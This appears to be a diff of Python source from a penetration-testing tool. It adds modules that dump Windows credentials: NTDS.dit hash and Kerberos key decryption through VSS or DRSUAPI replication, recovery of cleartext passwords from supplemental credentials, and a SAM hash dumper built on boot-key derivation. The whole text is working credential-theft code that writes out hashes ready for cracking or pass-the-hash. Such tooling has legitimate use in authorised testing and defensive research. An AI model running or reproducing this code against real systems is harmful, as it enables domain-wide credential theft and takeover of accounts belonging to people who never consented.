for i in range(1000):
|
||||
md5.update(encryptedPekList['KeyMaterial'])
|
||||
tmpKey = md5.digest()
|
||||
rc4 = ARC4.new(tmpKey)
|
||||
decryptedPekList = self.PEKLIST_PLAIN(rc4.encrypt(encryptedPekList['EncryptedPek']))
|
||||
PEKLen = len(self.PEK_KEY())
|
||||
for i in range(len( decryptedPekList['DecryptedPek'] ) / PEKLen ):
|
||||
cursor = i * PEKLen
|
||||
pek = self.PEK_KEY(decryptedPekList['DecryptedPek'][cursor:cursor+PEKLen])
|
||||
logging.info("PEK # %d found and decrypted: %s", i, hexlify(pek['Key']))
|
||||
self.__PEK.append(pek['Key'])
|
||||
|
||||
def __removeRC4Layer(self, cryptedHash):
|
||||
md5 = hashlib.new('md5')
|
||||
# PEK index can be found on header of each ciphered blob (pos 8-10)
|
||||
pekIndex = hexlify(cryptedHash['Header'])
|
||||
md5.update(self.__PEK[int(pekIndex[8:10])])
|
||||
md5.update(cryptedHash['KeyMaterial'])
|
||||
tmpKey = md5.digest()
|
||||
rc4 = ARC4.new(tmpKey)
|
||||
plainText = rc4.encrypt(cryptedHash['EncryptedHash'])
|
||||
|
||||
return plainText
|
||||
|
||||
def __removeDESLayer(self, cryptedHash, rid):
|
||||
Key1,Key2 = self.__cryptoCommon.deriveKey(int(rid))
|
||||
|
||||
Crypt1 = DES.new(Key1, DES.MODE_ECB)
|
||||
Crypt2 = DES.new(Key2, DES.MODE_ECB)
|
||||
|
||||
decryptedHash = Crypt1.decrypt(cryptedHash[:8]) + Crypt2.decrypt(cryptedHash[8:])
|
||||
|
||||
return decryptedHash
|
||||
|
||||
def __fileTimeToDateTime(self, t):
|
||||
t -= 116444736000000000
|
||||
t /= 10000000
|
||||
if t < 0:
|
||||
return 'never'
|
||||
else:
|
||||
dt = datetime.fromtimestamp(t)
|
||||
return dt.strftime("%Y-%m-%d %H:%M")
|
||||
|
||||
def __decryptSupplementalInfo(self, record, prefixTable=None, keysFile=None, clearTextFile=None):
|
||||
# This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures
|
||||
haveInfo = False
|
||||
if self.__useVSSMethod is True:
|
||||
if record[self.NAME_TO_INTERNAL['supplementalCredentials']] is not None:
|
||||
if len(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) > 24:
|
||||
if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
|
||||
domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
|
||||
userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
|
||||
else:
|
||||
userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
|
||||
cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']]))
|
||||
plainText = self.__removeRC4Layer(cipherText)
|
||||
haveInfo = True
|
||||
else:
|
||||
domain = None
|
||||
userName = None
|
||||
for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']:
|
||||
try:
|
||||
attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
|
||||
LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
|
||||
except Exception, e:
|
||||
logging.debug('Failed to execute OidFromAttid with error %s' % e)
|
||||
# Fallbacking to fixed table and hope for the best
|
||||
attId = attr['attrTyp']
|
||||
LOOKUP_TABLE = self.NAME_TO_ATTRTYP
|
||||
|
||||
if attId == LOOKUP_TABLE['userPrincipalName']:
|
||||
if attr['AttrVal']['valCount'] > 0:
|
||||
try:
|
||||
domain = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
|
||||
except:
|
||||
domain = None
|
||||
else:
|
||||
domain = None
|
||||
elif attId == LOOKUP_TABLE['sAMAccountName']:
|
||||
if attr['AttrVal']['valCount'] > 0:
|
||||
try:
|
||||
userName = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
|
||||
except:
|
||||
logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
|
||||
userName = 'unknown'
|
||||
else:
|
||||
logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
|
||||
userName = 'unknown'
|
||||
if attId == LOOKUP_TABLE['supplementalCredentials']:
|
||||
if attr['AttrVal']['valCount'] > 0:
|
||||
blob = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
|
||||
plainText = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), blob)
|
||||
if len(plainText) > 24:
|
||||
haveInfo = True
|
||||
if domain is not None:
|
||||
userName = '%s\\%s' % (domain, userName)
|
||||
|
||||
if haveInfo is True:
|
||||
try:
|
||||
userProperties = samr.USER_PROPERTIES(plainText)
|
||||
except:
|
||||
# On some old w2k3 there might be user properties that don't
|
||||
# match [MS-SAMR] structure, discarding them
|
||||
return
|
||||
propertiesData = userProperties['UserProperties']
|
||||
for propertyCount in range(userProperties['PropertyCount']):
|
||||
userProperty = samr.USER_PROPERTY(propertiesData)
|
||||
propertiesData = propertiesData[len(userProperty):]
|
||||
# For now, we will only process Newer Kerberos Keys and CLEARTEXT
|
||||
if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys':
|
||||
propertyValueBuffer = unhexlify(userProperty['PropertyValue'])
|
||||
kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer)
|
||||
data = kerbStoredCredentialNew['Buffer']
|
||||
for credential in range(kerbStoredCredentialNew['CredentialCount']):
|
||||
keyDataNew = samr.KERB_KEY_DATA_NEW(data)
|
||||
data = data[len(keyDataNew):]
|
||||
keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']]
|
||||
|
||||
if self.KERBEROS_TYPE.has_key(keyDataNew['KeyType']):
|
||||
answer = "%s:%s:%s" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],hexlify(keyValue))
|
||||
else:
|
||||
answer = "%s:%s:%s" % (userName, hex(keyDataNew['KeyType']),hexlify(keyValue))
|
||||
# We're just storing the keys, not printing them, to make the output more readable
|
||||
# This is kind of ugly... but it's what I came up with tonight to get an ordered
|
||||
# set :P. Better ideas welcomed ;)
|
||||
self.__kerberosKeys[answer] = None
|
||||
if keysFile is not None:
|
||||
self.__writeOutput(keysFile, answer + '\n')
|
||||
elif userProperty['PropertyName'].decode('utf-16le') == 'Primary:CLEARTEXT':
|
||||
# [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property
|
||||
# This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password.
|
||||
answer = "%s:CLEARTEXT:%s" % (userName, unhexlify(userProperty['PropertyValue']).decode('utf-16le'))
|
||||
self.__clearTextPwds[answer] = None
|
||||
if clearTextFile is not None:
|
||||
self.__writeOutput(clearTextFile, answer + '\n')
|
||||
|
||||
if clearTextFile is not None:
|
||||
clearTextFile.flush()
|
||||
if keysFile is not None:
|
||||
keysFile.flush()
|
||||
|
||||
def __decryptHash(self, record, rid=None, prefixTable=None, outputFile=None):
|
||||
if self.__useVSSMethod is True:
|
||||
logging.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']])
|
||||
|
||||
sid = SAMR_RPC_SID(unhexlify(record[self.NAME_TO_INTERNAL['objectSid']]))
|
||||
rid = sid.formatCanonical().split('-')[-1]
|
||||
|
||||
if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None:
|
||||
encryptedLMHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']]))
|
||||
tmpLMHash = self.__removeRC4Layer(encryptedLMHash)
|
||||
LMHash = self.__removeDESLayer(tmpLMHash, rid)
|
||||
else:
|
||||
LMHash = ntlm.LMOWFv1('', '')
|
||||
|
||||
if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None:
|
||||
encryptedNTHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
|
||||
tmpNTHash = self.__removeRC4Layer(encryptedNTHash)
|
||||
NTHash = self.__removeDESLayer(tmpNTHash, rid)
|
||||
else:
|
||||
NTHash = ntlm.NTOWFv1('', '')
|
||||
|
||||
if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
|
||||
domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
|
||||
userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
|
||||
else:
|
||||
userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
|
||||
|
||||
if record[self.NAME_TO_INTERNAL['pwdLastSet']] is not None:
|
||||
pwdLastSet = self.__fileTimeToDateTime(record[self.NAME_TO_INTERNAL['pwdLastSet']])
|
||||
else:
|
||||
pwdLastSet = 'N/A'
|
||||
|
||||
answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash), hexlify(NTHash))
|
||||
if outputFile is not None:
|
||||
self.__writeOutput(outputFile, answer + '\n')
|
||||
|
||||
if self.__pwdLastSet is True:
|
||||
answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
|
||||
self.__logger.highlight(answer)
|
||||
|
||||
if self.__history:
|
||||
LMHistory = []
|
||||
NTHistory = []
|
||||
if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None:
|
||||
encryptedLMHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['lmPwdHistory']]))
|
||||
tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory)
|
||||
for i in range(0, len(tmpLMHistory) / 16):
|
||||
LMHash = self.__removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
|
||||
LMHistory.append(LMHash)
|
||||
|
||||
if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None:
|
||||
encryptedNTHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']]))
|
||||
tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory)
|
||||
for i in range(0, len(tmpNTHistory) / 16):
|
||||
NTHash = self.__removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
|
||||
NTHistory.append(NTHash)
|
||||
|
||||
for i, (LMHash, NTHash) in enumerate(
|
||||
map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
|
||||
if self.__noLMHash:
|
||||
lmhash = hexlify(ntlm.LMOWFv1('', ''))
|
||||
else:
|
||||
lmhash = hexlify(LMHash)
|
||||
|
||||
answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHash))
|
||||
if outputFile is not None:
|
||||
self.__writeOutput(outputFile, answer + '\n')
|
||||
self.__logger.highlight(answer)
|
||||
else:
|
||||
logging.debug('Decrypting hash for user: %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
|
||||
domain = None
|
||||
if self.__history:
|
||||
LMHistory = []
|
||||
NTHistory = []
|
||||
for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']:
|
||||
try:
|
||||
attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
|
||||
LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
|
||||
except Exception, e:
|
||||
logging.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e)
|
||||
# Fallbacking to fixed table and hope for the best
|
||||
attId = attr['attrTyp']
|
||||
LOOKUP_TABLE = self.NAME_TO_ATTRTYP
|
||||
|
||||
if attId == LOOKUP_TABLE['dBCSPwd']:
|
||||
if attr['AttrVal']['valCount'] > 0:
|
||||
encrypteddBCSPwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
|
||||
encryptedLMHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encrypteddBCSPwd)
|
||||
LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid)
|
||||
else:
|
||||
LMHash = ntlm.LMOWFv1('', '')
|
||||
elif attId == LOOKUP_TABLE['unicodePwd']:
|
||||
if attr['AttrVal']['valCount'] > 0:
|
||||
encryptedUnicodePwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
|
||||
encryptedNTHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedUnicodePwd)
|
||||
NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid)
|
||||
else:
|
||||
NTHash = ntlm.NTOWFv1('', '')
|
||||
elif attId == LOOKUP_TABLE['userPrincipalName']:
|
||||
if attr['AttrVal']['valCount'] > 0:
|
||||
try:
|
||||
domain = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
|
||||
except:
|
||||
domain = None
|
||||
else:
|
||||
domain = None
|
||||
elif attId == LOOKUP_TABLE['sAMAccountName']:
|
||||
if attr['AttrVal']['valCount'] > 0:
|
||||
try:
|
||||
userName = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
|
||||
except:
|
||||
logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
|
||||
userName = 'unknown'
|
||||
else:
|
||||
logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
|
||||
userName = 'unknown'
|
||||
elif attId == LOOKUP_TABLE['objectSid']:
|
||||
if attr['AttrVal']['valCount'] > 0:
|
||||
objectSid = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
|
||||
else:
|
||||
logging.error('Cannot get objectSid for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
|
||||
objectSid = rid
|
||||
elif attId == LOOKUP_TABLE['pwdLastSet']:
|
||||
if attr['AttrVal']['valCount'] > 0:
|
||||
try:
|
||||
pwdLastSet = self.__fileTimeToDateTime(unpack('<Q', ''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0])
|
||||
except:
|
||||
traceback.print_exc()
|
||||
logging.error('Cannot get pwdLastSet for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
|
||||
pwdLastSet = 'N/A'
|
||||
|
||||
if self.__history:
|
||||
if attId == LOOKUP_TABLE['lmPwdHistory']:
|
||||
if attr['AttrVal']['valCount'] > 0:
|
||||
encryptedLMHistory = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
|
||||
tmpLMHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedLMHistory)
|
||||
for i in range(0, len(tmpLMHistory) / 16):
|
||||
LMHashHistory = drsuapi.removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
|
||||
LMHistory.append(LMHashHistory)
|
||||
else:
|
||||
logging.debug('No lmPwdHistory for user %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
|
||||
elif attId == LOOKUP_TABLE['ntPwdHistory']:
|
||||
if attr['AttrVal']['valCount'] > 0:
|
||||
encryptedNTHistory = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
|
||||
tmpNTHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedNTHistory)
|
||||
for i in range(0, len(tmpNTHistory) / 16):
|
||||
NTHashHistory = drsuapi.removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
|
||||
NTHistory.append(NTHashHistory)
|
||||
else:
|
||||
logging.debug('No ntPwdHistory for user %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
|
||||
|
||||
if domain is not None:
|
||||
userName = '%s\\%s' % (domain, userName)
|
||||
|
||||
answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash), hexlify(NTHash))
|
||||
|
||||
if outputFile is not None:
|
||||
self.__writeOutput(outputFile, answer + '\n')
|
||||
|
||||
if self.__pwdLastSet is True:
|
||||
answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
|
||||
self.__logger.highlight(answer)
|
||||
|
||||
if self.__history:
|
||||
for i, (LMHashHistory, NTHashHistory) in enumerate(
|
||||
map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
|
||||
if self.__noLMHash:
|
||||
lmhash = hexlify(ntlm.LMOWFv1('', ''))
|
||||
else:
|
||||
lmhash = hexlify(LMHashHistory)
|
||||
|
||||
answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHashHistory))
|
||||
self.__logger.highlight(answer)
|
||||
if outputFile is not None:
|
||||
self.__writeOutput(outputFile, answer + '\n')
|
||||
|
||||
if outputFile is not None:
|
||||
outputFile.flush()
|
||||
|
||||
def dump(self):
|
||||
if self.__useVSSMethod is True:
|
||||
if self.__NTDS is None:
|
||||
# No NTDS.dit file provided and were asked to use VSS
|
||||
return
|
||||
else:
|
||||
if self.__NTDS is None:
|
||||
# DRSUAPI method, checking whether target is a DC
|
||||
try:
|
||||
self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1])
|
||||
except Exception as e:
|
||||
traceback.print_exc()
|
||||
# Target's not a DC
|
||||
return
|
||||
|
||||
# Let's check if we need to save results in a file
|
||||
if self.__outputFileName is not None:
|
||||
logging.debug('Saving output to %s' % self.__outputFileName)
|
||||
# We have to export. Are we resuming a session?
|
||||
if self.__savedSessionFile is not None:
|
||||
mode = 'a+'
|
||||
else:
|
||||
mode = 'w+'
|
||||
hashesOutputFile = codecs.open(self.__outputFileName+'.ntds',mode, encoding='utf-8')
|
||||
if self.__justNTLM is False:
|
||||
keysOutputFile = codecs.open(self.__outputFileName+'.ntds.kerberos',mode, encoding='utf-8')
|
||||
clearTextOutputFile = codecs.open(self.__outputFileName+'.ntds.cleartext',mode, encoding='utf-8')
|
||||
else:
|
||||
hashesOutputFile = None
|
||||
keysOutputFile = None
|
||||
clearTextOutputFile = None
|
||||
|
||||
self.__logger.success('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)')
|
||||
if self.__useVSSMethod:
|
||||
# We start getting rows from the table aiming at reaching
|
||||
# the pekList. If we find users records we stored them
|
||||
# in a temp list for later process.
|
||||
self.__getPek()
|
||||
if self.__PEK is not None:
|
||||
logging.info('Reading and decrypting hashes from %s ' % self.__NTDS)
|
||||
# First of all, if we have users already cached, let's decrypt their hashes
|
||||
for record in self.__tmpUsers:
|
||||
try:
|
||||
self.__decryptHash(record, outputFile=hashesOutputFile)
|
||||
if self.__justNTLM is False:
|
||||
self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)
|
||||
except Exception as e:
|
||||
traceback.print_exc()
|
||||
try:
|
||||
logging.error(
|
||||
"Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
|
||||
logging.error(str(e))
|
||||
pass
|
||||
except:
|
||||
logging.error("Error while processing row!")
|
||||
logging.error(str(e))
|
||||
pass
|
||||
|
||||
# Now let's keep moving through the NTDS file and decrypting what we find
|
||||
while True:
|
||||
try:
|
||||
record = self.__ESEDB.getNextRow(self.__cursor)
|
||||
except:
|
||||
traceback.print_exc()
|
||||
logging.error('Error while calling getNextRow(), trying the next one')
|
||||
continue
|
||||
|
||||
if record is None:
|
||||
break
|
||||
try:
|
||||
if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:
|
||||
self.__decryptHash(record, outputFile=hashesOutputFile)
|
||||
if self.__justNTLM is False:
|
||||
self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)
|
||||
except Exception, e:
|
||||
traceback.print_exc()
|
||||
try:
|
||||
logging.error(
|
||||
"Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
|
||||
logging.error(str(e))
|
||||
pass
|
||||
except:
|
||||
logging.error("Error while processing row!")
|
||||
logging.error(str(e))
|
||||
pass
|
||||
else:
|
||||
self.__logger.success('Using the DRSUAPI method to get NTDS.DIT secrets')
|
||||
status = STATUS_MORE_ENTRIES
|
||||
enumerationContext = 0
|
||||
|
||||
# Do we have to resume from a previously saved session?
|
||||
if self.__savedSessionFile is not None:
|
||||
# Yes
|
||||
try:
|
||||
resumeFile = open(self.__savedSessionFile, 'rwb+')
|
||||
except Exception, e:
|
||||
traceback.print_exc()
|
||||
raise Exception('Cannot open resume session file name %s' % str(e))
|
||||
resumeSid = resumeFile.read().strip('\n')
|
||||
logging.info('Resuming from SID %s, be patient' % resumeSid)
|
||||
# The resume session file is the same as the savedSessionFile
|
||||
tmpName = self.__savedSessionFile
|
||||
else:
|
||||
resumeSid = None
|
||||
tmpName = 'sessionresume_%s' % ''.join([random.choice(string.letters) for i in range(8)])
|
||||
logging.debug('Session resume file will be %s' % tmpName)
|
||||
# Creating the resume session file
|
||||
try:
|
||||
resumeFile = open(tmpName, 'wb+')
|
||||
self.__resumeSessionFile = tmpName
|
||||
except Exception, e:
|
||||
traceback.print_exc()
|
||||
raise Exception('Cannot create resume session file %s' % str(e))
|
||||
|
||||
while status == STATUS_MORE_ENTRIES:
|
||||
resp = self.__remoteOps.getDomainUsers(enumerationContext)
|
||||
|
||||
for user in resp['Buffer']['Buffer']:
|
||||
userName = user['Name']
|
||||
|
||||
userSid = self.__remoteOps.ridToSid(user['RelativeId'])
|
||||
if resumeSid is not None:
|
||||
# Means we're looking for a SID before start processing back again
|
||||
if resumeSid == userSid.formatCanonical():
|
||||
# Match!, next round we will back processing
|
||||
resumeSid = None
|
||||
continue
|
||||
|
||||
# Let's crack the user sid into DS_FQDN_1779_NAME
|
||||
# In theory I shouldn't need to crack the sid. Instead
|
||||
# I could use it when calling DRSGetNCChanges inside the DSNAME parameter.
|
||||
# For some reason tho, I get ERROR_DS_DRA_BAD_DN when doing so.
|
||||
crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME, drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name = userSid.formatCanonical())
|
||||
|
||||
if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
|
||||
userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
|
||||
#userRecord.dump()
|
||||
if userRecord['pmsgOut']['V6']['cNumObjects'] == 0:
|
||||
raise Exception('DRSGetNCChanges didn\'t return any object!')
|
||||
else:
|
||||
logging.warning('DRSCrackNames returned %d items for user %s, skipping' %(crackedName['pmsgOut']['V1']['pResult']['cItems'], userName))
|
||||
try:
|
||||
self.__decryptHash(userRecord, user['RelativeId'],
|
||||
userRecord['pmsgOut']['V6']['PrefixTableSrc']['pPrefixEntry'],
|
||||
hashesOutputFile)
|
||||
if self.__justNTLM is False:
|
||||
self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut']['V6']['PrefixTableSrc'][
|
||||
'pPrefixEntry'], keysOutputFile, clearTextOutputFile)
|
||||
|
||||
except Exception, e:
|
||||
traceback.print_exc()
|
||||
logging.error("Error while processing user!")
|
||||
logging.error(str(e))
|
||||
|
||||
# Saving the session state
|
||||
resumeFile.seek(0,0)
|
||||
resumeFile.truncate(0)
|
||||
resumeFile.write(userSid.formatCanonical())
|
||||
resumeFile.flush()
|
||||
|
||||
enumerationContext = resp['EnumerationContext']
|
||||
status = resp['ErrorCode']
|
||||
|
||||
# Everything went well and we covered all the users
|
||||
# Let's remove the resume file
|
||||
resumeFile.close()
|
||||
os.remove(tmpName)
|
||||
self.__resumeSessionFile = None
|
||||
|
||||
# Now we'll print the Kerberos keys. So we don't mix things up in the output.
|
||||
if len(self.__kerberosKeys) > 0:
|
||||
if self.__useVSSMethod is True:
|
||||
logging.info('Kerberos keys from %s ' % self.__NTDS)
|
||||
else:
|
||||
logging.info('Kerberos keys grabbed')
|
||||
|
||||
for itemKey in self.__kerberosKeys.keys():
|
||||
self.__logger.highlight(itemKey)
|
||||
|
||||
# And finally the cleartext pwds
|
||||
if len(self.__clearTextPwds) > 0:
|
||||
if self.__useVSSMethod is True:
|
||||
logging.info('ClearText password from %s ' % self.__NTDS)
|
||||
else:
|
||||
logging.info('ClearText passwords grabbed')
|
||||
|
||||
for itemKey in self.__clearTextPwds.keys():
|
||||
self.__logger.highlight(itemKey)
|
||||
|
||||
# Closing output file
|
||||
if self.__outputFileName is not None:
|
||||
hashesOutputFile.close()
|
||||
if self.__justNTLM is False:
|
||||
keysOutputFile.close()
|
||||
clearTextOutputFile.close()
|
||||
|
||||
@classmethod
|
||||
def __writeOutput(cls, fd, data):
|
||||
try:
|
||||
fd.write(data)
|
||||
except Exception, e:
|
||||
logging.error("Error writing entry, skippingi (%s)" % str(e))
|
||||
pass
|
||||
|
||||
def finish(self):
|
||||
if self.__NTDS is not None:
|
||||
self.__ESEDB.close()
|
|
@ -0,0 +1,48 @@
|
|||
from impacket import winregistry
|
||||
|
||||
class OfflineRegistry:
|
||||
def __init__(self, hiveFile = None, isRemote = False):
|
||||
self.__hiveFile = hiveFile
|
||||
if self.__hiveFile is not None:
|
||||
self.__registryHive = winregistry.Registry(self.__hiveFile, isRemote)
|
||||
|
||||
def enumKey(self, searchKey):
|
||||
parentKey = self.__registryHive.findKey(searchKey)
|
||||
|
||||
if parentKey is None:
|
||||
return
|
||||
|
||||
keys = self.__registryHive.enumKey(parentKey)
|
||||
|
||||
return keys
|
||||
|
||||
def enumValues(self, searchKey):
|
||||
key = self.__registryHive.findKey(searchKey)
|
||||
|
||||
if key is None:
|
||||
return
|
||||
|
||||
values = self.__registryHive.enumValues(key)
|
||||
|
||||
return values
|
||||
|
||||
def getValue(self, keyValue):
|
||||
value = self.__registryHive.getValue(keyValue)
|
||||
|
||||
if value is None:
|
||||
return
|
||||
|
||||
return value
|
||||
|
||||
def getClass(self, className):
|
||||
value = self.__registryHive.getClass(className)
|
||||
|
||||
if value is None:
|
||||
return
|
||||
|
||||
return value
|
||||
|
||||
def finish(self):
|
||||
if self.__hiveFile is not None:
|
||||
# Remove temp file and whatever else is needed
|
||||
self.__registryHive.close()
|
|
@ -0,0 +1,125 @@
|
|||
from core.credentials.offlineregistry import OfflineRegistry
|
||||
from core.credentials.commonstructs import DOMAIN_ACCOUNT_F, USER_ACCOUNT_V
|
||||
from core.credentials.cryptocommon import CryptoCommon
|
||||
from impacket import ntlm
|
||||
from binascii import hexlify
|
||||
from Crypto.Cipher import DES, ARC4
|
||||
from struct import pack
|
||||
import hashlib
|
||||
import ntpath
|
||||
import codecs
|
||||
import logging
|
||||
|
||||
class SAMHashes(OfflineRegistry):
|
||||
def __init__(self, samFile, bootKey, logger, db, host, hostname, isRemote = False):
|
||||
OfflineRegistry.__init__(self, samFile, isRemote)
|
||||
self.__samFile = samFile
|
||||
self.__hashedBootKey = ''
|
||||
self.__bootKey = bootKey
|
||||
self.__logger = logger
|
||||
self.__db = db
|
||||
self.__host = host
|
||||
self.__hostname = hostname
|
||||
self.__cryptoCommon = CryptoCommon()
|
||||
self.__itemsFound = {}
|
||||
|
||||
def MD5(self, data):
|
||||
md5 = hashlib.new('md5')
|
||||
md5.update(data)
|
||||
return md5.digest()
|
||||
|
||||
def getHBootKey(self):
|
||||
logging.debug('Calculating HashedBootKey from SAM')
|
||||
QWERTY = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
|
||||
DIGITS = "0123456789012345678901234567890123456789\0"
|
||||
|
||||
F = self.getValue(ntpath.join('SAM\Domains\Account','F'))[1]
|
||||
|
||||
domainData = DOMAIN_ACCOUNT_F(F)
|
||||
|
||||
rc4Key = self.MD5(domainData['Key0']['Salt'] + QWERTY + self.__bootKey + DIGITS)
|
||||
|
||||
rc4 = ARC4.new(rc4Key)
|
||||
self.__hashedBootKey = rc4.encrypt(domainData['Key0']['Key']+domainData['Key0']['CheckSum'])
|
||||
|
||||
# Verify key with checksum
|
||||
checkSum = self.MD5( self.__hashedBootKey[:16] + DIGITS + self.__hashedBootKey[:16] + QWERTY)
|
||||
|
||||
if checkSum != self.__hashedBootKey[16:]:
|
||||
raise Exception('hashedBootKey CheckSum failed, Syskey startup password probably in use! :(')
|
||||
|
||||
def __decryptHash(self, rid, cryptedHash, constant):
|
||||
# Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key
|
||||
# plus hashedBootKey stuff
|
||||
Key1,Key2 = self.__cryptoCommon.deriveKey(rid)
|
||||
|
||||
Crypt1 = DES.new(Key1, DES.MODE_ECB)
|
||||
Crypt2 = DES.new(Key2, DES.MODE_ECB)
|
||||
|
||||
rc4Key = self.MD5( self.__hashedBootKey[:0x10] + pack("<L",rid) + constant )
|
||||
rc4 = ARC4.new(rc4Key)
|
||||
key = rc4.encrypt(cryptedHash)
|
||||
|
||||
decryptedHash = Crypt1.decrypt(key[:8]) + Crypt2.decrypt(key[8:])
|
||||
|
||||
return decryptedHash
|
||||
|
||||
def dump(self):
|
||||
NTPASSWORD = "NTPASSWORD\0"
|
||||
LMPASSWORD = "LMPASSWORD\0"
|
||||
|
||||
if self.__samFile is None:
|
||||
# No SAM file provided
|
||||
return
|
||||
|
||||
self.__logger.success('Dumping local SAM hashes (uid:rid:lmhash:nthash)')
|
||||
self.getHBootKey()
|
||||
|
||||
usersKey = 'SAM\\Domains\\Account\\Users'
|
||||
|
||||
# Enumerate all the RIDs
|
||||
rids = self.enumKey(usersKey)
|
||||
# Remove the Names item
|
||||
try:
|
||||
rids.remove('Names')
|
||||
except:
|
||||
pass
|
||||
|
||||
for rid in rids:
|
||||
userAccount = USER_ACCOUNT_V(self.getValue(ntpath.join(usersKey,rid,'V'))[1])
|
||||
rid = int(rid,16)
|
||||
|
||||
V = userAccount['Data']
|
||||
|
||||
userName = V[userAccount['NameOffset']:userAccount['NameOffset']+userAccount['NameLength']].decode('utf-16le')
|
||||
|
